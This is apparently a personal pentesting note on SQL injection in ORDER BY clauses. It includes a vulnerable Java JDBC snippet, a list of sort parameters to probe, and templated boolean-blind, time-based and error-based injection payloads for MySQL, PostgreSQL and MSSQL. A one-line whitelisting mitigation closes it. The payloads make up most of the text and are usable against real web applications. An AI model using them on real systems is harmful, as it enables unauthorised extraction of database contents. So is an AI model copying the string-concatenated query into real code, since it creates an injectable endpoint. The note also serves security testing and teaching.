🧠 SQLi Context - ORDER BY

// Java JDBC Example String sortColumn = request.getParameter(“sort”); // Vulnerable: User input is appended directly after the ORDER BY clause String query = “SELECT id, name, email FROM users ORDER BY ” + sortColumn; Statement statement = connection.createStatement(); ResultSet resultSet = statement.executeQuery(query);

**Where To Look For The Vulnerability**

Look for any feature that alters the order of the data presented on the screen.

  • URL Parameters: ?sort=, ?order=, ?orderby=, ?sort_by=, ?dir= (direction, e.g., ASC/DESC).
  • JSON Body: {"sortBy": "price", "order": "desc"}
  • UI Elements: Clicking on table headers (e.g., clicking “Name” or “Date” to reorder a list of products or users).

Exploitations

SQLi - Boolean-based Blind

Force the table to sort by Column A if TRUE, and Column B if FALSE:

(CASE WHEN (ASCII(SUBSTRING(({query}), {pos}, 1)) = {ASCII_code}) 
	THEN {column_A} 
	ELSE {column_B} 
END)--

Force the table to sort by DESC if TRUE, and ASC if FALSE:

(CASE WHEN (ASCII(SUBSTRING(({query}), {pos}, 1)) = {ASCII_code}) 
	THEN {column_A}  
END) DESC, {column_A} ASC--

Note: Just to be more clear, for the IF clause:

IF((ASCII(SUBSTRING(({query}), {pos}, 1)) = {ASCII_code}), {column_A}, NULL) DESC, {column_A} ASC--
IF((ASCII(SUBSTRING(({query}), {pos}, 1)) = {ASCII_code}), {column_A}, {column_B})--

SQLi - Time-based Blind

Force the database to sleep if TRUE, or sort normally if FALSE.

(CASE WHEN (ASCII(SUBSTRING(({query}), {pos}, 1)) = {ASCII_code}) 
	THEN {sleep_func} 
	ELSE {column} 
END)--

SQLi - Error-based

Intentionally cause a mathematical or functional error if TRUE to leak data via the database error message.

-- MySQL
(EXTRACTVALUE(1, CONCAT(0x7e, ({query}))))--
 
-- PostgreSQL/MSSQL
(CASE WHEN (ASCII(SUBSTRING(({query}), {pos}, 1)) = {ASCII_code}) THEN 1/0 ELSE {column} END)--
 
-- MySQL/MariaDB
(CASE WHEN (ASCII(SUBSTRING(({query}), {pos}, 1)) = {ASCII_code}) THEN EXP(710) ELSE {column} END)--

Mitigation

Fix: We cannot use prepared statement for ORDER BY so to mitigate this, the best way is to white-listing allowed input

TABLE creation_date AS "Created" 
FROM "05 - Content" 
WHERE contains(techniques, this.file.link) AND contains(tags, "🚩") 
SORT file.name ASC